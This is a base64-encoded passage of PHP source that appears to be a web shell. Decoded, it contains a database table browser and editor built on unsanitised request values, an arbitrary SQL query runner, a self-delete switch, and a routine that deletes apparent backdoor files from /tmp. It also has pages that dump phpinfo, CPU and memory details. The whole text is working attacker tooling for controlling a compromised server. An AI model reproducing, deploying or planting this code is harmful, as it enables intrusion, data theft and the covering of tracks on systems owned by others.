ICRfU0VTU0lPTlsnZGJuYW1lJ10pOwogICAgICAgICAgICAgICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ2RlbGV0ZSddKSl7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vZGVsZXRlIHJlY29yZCBoYXMgYmVlbiBwdXNoZWQKICAgICAgICAgICAvLyAkc2hvd2FsbD1mYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgJHdocj1idWlsZHdocigkX1BPU1RbJ3BrJ10sICRfUE9TVFsncHYnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiZGVsZXRlIGZyb20gJHRhYmxlbmFtZSB3aGVyZSAkd2hyIjsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdD1leGVxdWVyeSgkc3FsLCAkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddKTsKICAgICAgICAgICAgICAgIH1lbHNlaWYgKGlzc2V0KCRfUE9TVFsnZWRpdCddKSl7Ly9FZGl0CiAgICAgICAgICAgICRzaG93YWxsPWZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAkd2hyID0gYnVpbGR3aHIoICRfUE9TVFsncGsnXSwgJF9QT1NUWydwdiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgLy8kdGFibGVuYW1lID0gJF9TRVNTSU9OWyd0YWJsZW5hbWUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHNxbD0gIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSB3aGVyZSAkd2hyIjsKCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHNxbCwgJHRhYmxlbmFtZSwgJF9TRVNTSU9OWydkYm5hbWUnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVkaXRmb3JtKCR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10sICRyZXN1bHQsICdlZGl0JywgJF9QT1NUWydwayddLCAkX1BPU1RbJ3B2J10pOwogICAgICAgICAgICAgICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ2VkaXRyZWMnXSkpewogICAgICAgICAgIC8vICRzaG93YWxsPWZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0PWVkaXRyZWMoJF9TRVNTSU9OWydkYm5hbWUnXSwkdGFibGVuYW1lLCAkX1BPU1RbJ3BrJ10sICRfUE9TVFsncHYnXSwgJF9QT1NUWydhcnJheSddKTsKICAgICAgICAgICAgICAgIH0KLy8qKioqKioqKioqKioqKioqIFNlYXJjaCAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc2VhcmNodmFsJ10pKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHNlYXJjaHZhbD0kX1BPU1RbJ3NlYXJjaHZhbCddOwogICAgICAgICAgICAgICAgfWVsc2VpZihpc3NldCgkX0dFVFsnc2VhcmNodmFsJ10pKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHNlYXJjaHZhbD0kX0dFVFsnc2VhcmNodmFsJ107CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgJHNlYXJjaHZhbD0iIjsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ3RhYmxlbmFtZSddKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZW5hbWUgPSAkX0dFVFsndGFibGVuYW1lJ107CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYoKGlzc2V0KCRfUE9TVFsnc2VhcmNoJ10pfHwgaXNzZXQoJHNlYXJjaHZhbCkpICYmICRzZWFyY2h2YWwgIT0iIil7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQ9c2VhcmNodCgkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddLCAgJHNlYXJjaHZhbCk7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgLy9EaXNwbGF5IEFsbAogICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAic2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIjsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdD1leGVxdWVyeSgkcXVlcnksICR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10pOwogICAgICAgICAgICAgICAgfQoKLy8qKioqKioqKioqKioqKioqKiBEaXNwbGF5IHJlY29yZCBjb3VudCAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgogICAgICAgIGlmKCRzaG93YWxsKXsKICAgICAgICAgICAgJG51bV9yb3dzID0gbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CiAgICAgICAgICAgIC8vV29ya291dCB3aGljayBwYWdlIHRvIGRpc3BsYXkKICAgICAgICAgICAgICAgICAgICBpZighaXNzZXQoJF9HRVRbJ3BnJ10pICYmICFpc3NldCgkcGcpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiZWc9MDsKICAgICAgICAgICAgICAgICRwZz0wOwogICAgICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3BiYWNrJ10pKXsKICAgICAgICAgICAgICAgICAgICAkcGc9JF9HRVRbJ3BnJ107CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAkcGc9JF9HRVRbJ3BnJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgaWYoJHBnIDwgMCApewogICAgICAgICAgICAgICAgICAgICRwZz0wOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoJHBnID4gJG51bV9yb3dzLyRwYWdlbWF4KXsKICAgICAgICAgICAgICAgICAgICAkcGc9Y2VpbCgkbnVtX3Jvd3MvJHBhZ2VtYXgpLTE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkYmVnID0gJHBnICogJHBhZ2VtYXg7CgogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCRfUE9TVFsnYWRkJ10pKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwc2Nyb2w9IiAiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VzY3JvbCA9IiAiOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlc2Nyb2wgPSB3aGljaHBhZ2UoJG51bV9yb3dzLCAkcGFnZW1heCwgJHBnLCAkdGFibGVuYW1lLCAkc2VhcmNodmFsKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIkcGFnZXNjcm9sXG4iOyAvL0Rpc3BsYXkgbmV4dCBUb3AgcGFnZSBtZW51CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRyIGNsYXNzPWhlYWQ+PHRkPjwvdGQ+PHRkPjwvdGQ+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkcyA9IG15c3FsX2xpc3RfZmllbGRzKCAkX1NFU1NJT05bJ2RibmFtZSddLCAkdGFibGVuYW1lKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkej0wOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHggPTA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGtmaWVsZD1hcnJheSgpOwoKLy8qKioqKioqKioqKioqRGlzcGxheSBlYWNoIG9mIHRoZSBmaWVsZCBuYW1lcy4qKioqKioqKioqKioqKioqKioqKioqKioqKioKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRmbGRzOyAkaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+Ii5teXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKS4iPC90ZD5cbiI7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL0ZpbmQgdGhlIHByaW1hcnkga2V5CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmbGFnc3RyaW5nID0gbXlzcWxfZmllbGRfZmxhZ3MgKCRyZXN1bHQsICRpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwa1skel0gPSAkaTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBrZmllbGRbJHpdPSBteXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkeisrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdHI+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRibD0kdGFibGVuYW1lOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9pZihpc3NldCgkcGspKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6ID4gMCl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjcGs9Y291bnQoJHBrKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY3BrPTA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgovLyoqKioqKioqKioqKkRpc3BsYXkgZWFjaCByb3cgZnJvbSB0aGUgdGFibGUuKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRzPSRiZWc7ICRzIDwgJGJlZyArICRwYWdlbWF4OyAkcysrKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHMgPCAkbnVtX3Jvd3MpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghbXlzcWxfZGF0YV9zZWVrICgkcmVzdWx0LCAkcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbm5vdCBzZWVrIHRvIHJvdyAkc1xuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJvdz1teXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighaXNzZXQoJHBrKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGs9IiAiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBrZmllbGQ9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXlyb3coJF9TRVNTSU9OWydkYm5hbWUnXSwgJHRibCwgJHBrLCAkcGtmaWVsZCwgJGNwaywgJHJvdywgJGZsZHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8iPC90YWJsZT5cbiI7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkX1BPU1RbJ2FkZCddKSAmJiAhaXNzZXQoJF9QT1NUWydlZGl0J10pICYmICFpc3NldCgkX1BPU1RbJ2RlbHRhYmxlJ10pICYmICFpc3NldCgkX1BPU1RbJ2Ryb3B0YWInXSkgJiYgIWlzc2V0KCRfUE9TVFsnd3lvcSddKSAmJiAkdGFibGVuYW1lKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIkcGFnZXNjcm9sXG4iOyAvL0Rpc3BsYXkgYm90dG9tIG5leHQgcGFnZSBtZW51CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8iPGJyPjxicj5cbiI7CiAgICAgICAgICAgICAgICAgfS8vc2hvd2FsbAogICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsndGFibGVuYW1lJ10pKXsKICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRhYmxlIGJvcmRlcj0wPiI7CiAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD4iOwogICAgICAgICAgICAgICAgICAgICAgICAgJHRhYmxlbmFtZT0kX1BPU1RbJ3RhYmxlbmFtZSddOwogICAgICAgICAgICAgICAgICAgICAgICAgJHZhPSJBbHRlciBUYWJsZSAkdGFibGVuYW1lIjsKICAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oICR0YWJsZW5hbWUsICAkX1NFU1NJT05bJ2RibmFtZSddLCdhbHRlci5waHAnLCAnYnV0JywgJ2FsdGVydGFibGUnLCAkdmEgKTsKICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90ZD48L3RyPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90YWJsZT5cbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQp9CmRpc3BsYXlfZm9vdCgpOwplY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7ICBkaWUoKTsgfQoKaWYgKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZGJfcXVlcnkiKQogewogZWNobyAkaGVhZDsKICRzcWwgPSBuZXcgbXlfc3FsKCk7CiAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOwogJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107CiAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107CiAkc3FsLT51c2VyID0gJF9QT1NUWydteXNxbF9sJ107CiAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107CiAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOwogJHF1ZXJ5cyA9IEBleHBsb2RlKCc7JywkX1BPU1RbJ2RiX3F1ZXJ5J10pOwogZWNobyAnPGJvZHkgYmdjb2xvcj0jMDAwMDAwPic7CiBpZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7CiAgZWxzZQogICB7CiAgIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48Yj7h4yDt08rY7dogys3P7c8g3sfaz+Ugx+HI7cfkx8o8L2I+PC9mb250PjwvZGl2PiI7CiAgIGVsc2UKICAgIHsKICAgIGZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpCiAgICAgewogICAgICBpZihzdHJsZW4oJHF1ZXJ5KT41KQogICAgICB7CiAgICAgIGVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTIgY29sb3I9Z3JlZW4+PGI+UXVlcnkjIi4kbnVtLiIgOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9mb250Pjxicj4iOwogICAgICBzd2l0Y2goJHNxbC0+cXVlcnkoJHF1ZXJ5KSkKICAgICAgIHsKICAgICAgIGNhc2UgJzAnOgogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgYnJlYWs7CiAgICAgICBjYXNlICcxJzoKICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkKICAgICAgICB7CiAgICAgICAgICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPiI7CiAgICAgICAgZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRrPT4kdikgJHNxbC0+Y29sdW1uc1ska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOwogICAgICAgICAgICAgICAka2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOwogICAgICAgIGVjaG8gIjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+Jm5ic3A7Ii4ka2V5cy4iJm5ic3A7PC9iPjwvZm9udD48L3RkPjwvdHI+IjsKICAgICAgICBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKQogICAgICAgICB7CiAgICAgICAgIGZvcmVhY2goJHNxbC0+cm93c1skaV0gYXMgJGs9PiR2KSAkc3FsLT5yb3dzWyRpXVska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOwogICAgICAgICAkdmFsdWVzID0gQGltcGxvZGUoIiZuYnNwOzwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPiZuYnNwOyIsJHNxbC0+cm93c1skaV0pOwogICAgICAgICBlY2hvICc8dHI+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7CiAgICAgICAgIH0KICAgICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgICAgfQogICAgICAgYnJlYWs7CiAgICAgICBjYXNlICcyJzoKICAgICAgICRhciA9ICRzcWwtPmFmZmVjdGVkX3Jvd3MoKT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsKICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQ+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj5hZmZlY3RlZCByb3dzIDogPGI+Ii4kYXIuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CiAgICAgICBicmVhazsKICAgICAgIH0KICAgICAgfQogICAgIH0KICAgIH0KICAgfQogZWNobyAiPGJyPjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4iOwogZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTsKIGVjaG8gaW4oJ2hpZGRlbicsJ2RiX3NlcnZlcicsMCwkX1BPU1RbJ2RiX3NlcnZlciddKTsKIGVjaG8gaW4oJ2hpZGRlbicsJ2RiX3BvcnQnLDAsJF9QT1NUWydkYl9wb3J0J10pOwogZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9wJywwLCRfUE9TVFsnbXlzcWxfcCddKTsKIGVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2RiJywwLCRfUE9TVFsnbXlzcWxfZGInXSk7CiBlY2hvIGluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5Jyk7CiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOwogZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5CYXNlOiA8L2I+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW15c3FsX2RiIHZhbHVlPVwiIi4kc3FsLT5iYXNlLiJcIj48L2ZvbnQ+PGJyPiI7CiBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUztcblNFTEVDVCAqIEZST00gdXNlcjsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsKIGVjaG8gIjwvZm9ybT4iOwogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsKIH0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkKIHsKICAgQHVubGluayhfX0ZJTEVfXyk7CiB9CmlmKGlzc2V0KCRfR0VUWyd0bXAnXSkpCiB7CiAgIEB1bmxpbmsoIi90bXAvYmRwbCIpOwogICBAdW5saW5rKCIvdG1wL2JhY2siKTsKICAgQHVubGluaygiL3RtcC9iZCIpOwogICBAdW5saW5rKCIvdG1wL2JkLmMiKTsKICAgQHVubGluaygiL3RtcC9kcCIpOwogICBAdW5saW5rKCIvdG1wL2RwYyIpOwogICBAdW5saW5rKCIvdG1wL2RwYy5jIik7CiB9CmlmKGlzc2V0KCRfR0VUWydwaHBpbmknXSkpCnsKZWNobyAkaGVhZDsKZnVuY3Rpb24gVV92YWx1ZSgkdmFsdWUpCiB7CiBpZiAoJHZhbHVlID09ICcnKSByZXR1cm4gJzxpPm5vIHZhbHVlPC9pPic7CiBpZiAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7CiBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOwogaWYgKEBpc19vYmplY3QoJHZhbHVlKSkgJHZhbHVlID0gKGFycmF5KSAkdmFsdWU7CiBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpCiB7CiBAb2Jfc3RhcnQoKTsKIHByaW50X3IoJHZhbHVlKTsKICR2YWx1ZSA9IEBvYl9nZXRfY29udGVudHMoKTsKIEBvYl9lbmRfY2xlYW4oKTsKIH0KIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7CiB9CmZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikKIHsKICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsKIHJldHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywgJyQxJDI8d2JyIC8+JywgJHN0cik7CiB9CmlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKQogewogJHIgPSAnJzsKIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPicsICc8dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5EaXJlY3RpdmU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9IzAwMDAwMD48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5Mb2NhbCBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jMDAwMDAwPjxmb250IGZhY2U9dGFob21hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPk1hc3RlciBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7CiBmb3JlYWNoIChAaW5pX2dldF9hbGwoKSBhcyAka2V5PT4kdmFsdWUpCiAgewogICRyIC49ICc8dHI+PHRkPicud3MoMykuJzxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+Jy4ka2V5Lic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydnbG9iYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7CiAgfQogZWNobyAkcjsKIGVjaG8gJzwvdGFibGU+JzsKIH0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOwpkaWUoKTsKfQppZihpc3NldCgkX0dFVFsnY3B1J10pKQogewogICBlY2hvICRoZWFkOwogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DUFU8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7CiAgICRjcHVmID0gQGZpbGUoImNwdWluZm8iKTsKICAgaWYoJGNwdWYpCiAgICB7CiAgICAgICRjID0gQHNpemVvZigkY3B1Zik7CiAgICAgIGZvcigkaT0wOyRpPCRjOyRpKyspCiAgICAgICAgewogICAgICAgICAgJGluZm8gPSBAZXhwbG9kZSgiOiIsJGNwdWZbJGldKTsKICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9CiAgICAgICAgICAkciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOwogICAgICAgIH0KICAgICAgZWNobyAkcjsKICAgIH0KICAgZWxzZQogICAgewogICAgICBlY2hvICc8dHI+PHRkPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOwogICAgfQogICBlY2hvICc8L3RhYmxlPic7CiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsKICAgZGllKCk7CiB9CmlmKGlzc2V0KCRfR0VUWydtZW0nXSkpCiB7CiAgIGVjaG8gJGhlYWQ7CiAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jMDAwMDAwPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTIgY29sb3I9cmVkPjxiPk1FTU9SWTwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PHRhYmxlIHdpZHRoPTEwMCU+JzsKICAgJG1lbWYgPSBAZmlsZSgibWVtaW